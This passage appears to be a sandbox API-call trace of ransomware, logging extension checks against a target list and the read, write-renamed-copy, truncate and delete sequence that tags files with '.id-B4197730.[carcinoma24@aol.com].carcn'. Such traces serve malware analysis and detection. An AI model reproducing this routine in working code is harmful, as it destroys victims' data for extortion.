[0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString=".zip") returned 4 [0159.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.303] lstrlenW (lpString=".rar") returned 4 [0159.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString=".bz2") returned 4 [0159.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString=".7z") returned 3 [0159.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString=".dbf") returned 4 [0159.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString=".1cd") returned 4 [0159.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString=".jpg") returned 4 [0159.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString=".doc") returned 4 [0159.304] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString=".docx") returned 5 [0159.304] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.304] lstrlenW (lpString=".pdf") returned 4 [0159.304] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString=".xls") returned 4 [0159.304] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString=".xlsx") returned 5 [0159.304] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.304] lstrlenW (lpString=".ppt") returned 4 [0159.304] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString=".zip") returned 4 [0159.304] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.304] lstrlenW (lpString=".rar") returned 4 [0159.304] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString=".bz2") returned 4 [0159.304] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString=".7z") returned 3 [0159.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString=".dbf") returned 4 [0159.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString=".1cd") returned 4 [0159.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.304] lstrlenW (lpString=".jpg") returned 4 [0159.304] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.305] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0159.305] lstrlenW (lpString="LocalizedData.xml") returned 17 [0159.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0160.103] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=77232) returned 1 [0160.103] CloseHandle (hObject=0x2f8) returned 1 [0160.103] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0160.103] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.103] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0160.103] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0160.103] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0160.103] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0160.601] GetLastError () returned 0x0 [0160.601] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x12db0, lpOverlapped=0x0) returned 1 [0160.870] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0160.872] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0160.872] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0160.872] SetEndOfFile (hFile=0x310) returned 1 [0160.873] CloseHandle (hObject=0x310) returned 1 [0160.874] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0160.874] SetEndOfFile (hFile=0x2f8) returned 1 [0160.875] CloseHandle (hObject=0x2f8) returned 1 [0160.875] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.876] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0160.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.876] lstrlenW (lpString=".doc") returned 4 [0160.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.876] lstrlenW (lpString=".docx") returned 5 [0160.876] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.876] lstrlenW (lpString=".pdf") returned 4 [0160.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.876] lstrlenW (lpString=".xls") returned 4 [0160.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.876] lstrlenW (lpString=".xlsx") returned 5 [0160.876] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.876] lstrlenW (lpString=".ppt") returned 4 [0160.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.876] lstrlenW (lpString=".zip") returned 4 [0160.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.876] lstrlenW (lpString=".rar") returned 4 [0160.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".bz2") returned 4 [0160.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".7z") returned 3 [0160.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString=".dbf") returned 4 [0160.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString=".1cd") returned 4 [0160.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString=".jpg") returned 4 [0160.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString=".doc") returned 4 [0160.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".docx") returned 5 [0160.877] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.877] lstrlenW (lpString=".pdf") returned 4 [0160.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".xls") returned 4 [0160.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".xlsx") returned 5 [0160.877] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.877] lstrlenW (lpString=".ppt") returned 4 [0160.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.877] lstrlenW (lpString=".zip") returned 4 [0160.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.877] lstrlenW (lpString=".rar") returned 4 [0160.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".bz2") returned 4 [0160.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.877] lstrlenW (lpString=".7z") returned 3 [0160.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.878] lstrlenW (lpString=".dbf") returned 4 [0160.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.878] lstrlenW (lpString=".1cd") returned 4 [0160.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0160.878] lstrlenW (lpString=".jpg") returned 4 [0160.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.878] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0160.878] lstrlenW (lpString="eula.rtf") returned 8 [0160.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0160.878] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=3526) returned 1 [0160.878] CloseHandle (hObject=0x2f8) returned 1 [0160.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0160.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0160.884] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0160.884] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0160.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0160.884] GetLastError () returned 0x0 [0160.884] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xdc6, lpOverlapped=0x0) returned 1 [0161.007] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xdd0, lpOverlapped=0x0) returned 1 [0161.008] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.008] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.008] SetEndOfFile (hFile=0x310) returned 1 [0161.008] CloseHandle (hObject=0x310) returned 1 [0161.009] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.009] SetEndOfFile (hFile=0x2f8) returned 1 [0161.010] CloseHandle (hObject=0x2f8) returned 1 [0161.010] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.010] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0161.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.010] lstrlenW (lpString=".doc") returned 4 [0161.010] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.010] lstrlenW (lpString=".docx") returned 5 [0161.010] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.010] lstrlenW (lpString=".pdf") returned 4 [0161.010] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.010] lstrlenW (lpString=".xls") returned 4 [0161.010] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.010] lstrlenW (lpString=".xlsx") returned 5 [0161.010] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.010] lstrlenW (lpString=".ppt") returned 4 [0161.010] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString=".zip") returned 4 [0161.011] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.011] lstrlenW (lpString=".rar") returned 4 [0161.011] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString=".bz2") returned 4 [0161.011] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString=".7z") returned 3 [0161.011] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString=".dbf") returned 4 [0161.011] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString=".1cd") returned 4 [0161.011] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString=".jpg") returned 4 [0161.011] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.011] lstrlenW (lpString=".doc") returned 4 [0161.011] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString=".docx") returned 5 [0161.011] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.011] lstrlenW (lpString=".pdf") returned 4 [0161.011] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.011] lstrlenW (lpString=".xls") returned 4 [0161.011] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.011] lstrlenW (lpString=".xlsx") returned 5 [0161.011] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.012] lstrlenW (lpString=".ppt") returned 4 [0161.012] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.012] lstrlenW (lpString=".zip") returned 4 [0161.012] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.012] lstrlenW (lpString=".rar") returned 4 [0161.012] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.012] lstrlenW (lpString=".bz2") returned 4 [0161.012] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.012] lstrlenW (lpString=".7z") returned 3 [0161.012] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.012] lstrlenW (lpString=".dbf") returned 4 [0161.012] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.012] lstrlenW (lpString=".1cd") returned 4 [0161.012] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0161.012] lstrlenW (lpString=".jpg") returned 4 [0161.012] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.012] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.012] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.013] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=86442) returned 1 [0161.013] CloseHandle (hObject=0x2f8) returned 1 [0161.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0161.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.013] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.013] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.013] GetLastError () returned 0x0 [0161.013] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x151aa, lpOverlapped=0x0) returned 1 [0161.127] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x151b0, lpOverlapped=0x0) returned 1 [0161.129] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.129] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.129] SetEndOfFile (hFile=0x310) returned 1 [0161.130] CloseHandle (hObject=0x310) returned 1 [0161.131] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.132] SetEndOfFile (hFile=0x2f8) returned 1 [0161.133] CloseHandle (hObject=0x2f8) returned 1 [0161.133] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.133] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0161.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.133] lstrlenW (lpString=".doc") returned 4 [0161.133] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.133] lstrlenW (lpString=".docx") returned 5 [0161.133] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.133] lstrlenW (lpString=".pdf") returned 4 [0161.133] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.133] lstrlenW (lpString=".xls") returned 4 [0161.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.133] lstrlenW (lpString=".xlsx") returned 5 [0161.134] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.134] lstrlenW (lpString=".ppt") returned 4 [0161.134] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString=".zip") returned 4 [0161.134] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.134] lstrlenW (lpString=".rar") returned 4 [0161.134] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString=".bz2") returned 4 [0161.134] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString=".7z") returned 3 [0161.134] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString=".dbf") returned 4 [0161.134] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString=".1cd") returned 4 [0161.134] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString=".jpg") returned 4 [0161.134] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.134] lstrlenW (lpString=".doc") returned 4 [0161.134] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString=".docx") returned 5 [0161.134] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.134] lstrlenW (lpString=".pdf") returned 4 [0161.134] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString=".xls") returned 4 [0161.134] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.134] lstrlenW (lpString=".xlsx") returned 5 [0161.134] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.134] lstrlenW (lpString=".ppt") returned 4 [0161.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.135] lstrlenW (lpString=".zip") returned 4 [0161.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.135] lstrlenW (lpString=".rar") returned 4 [0161.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.135] lstrlenW (lpString=".bz2") returned 4 [0161.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.135] lstrlenW (lpString=".7z") returned 3 [0161.135] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.135] lstrlenW 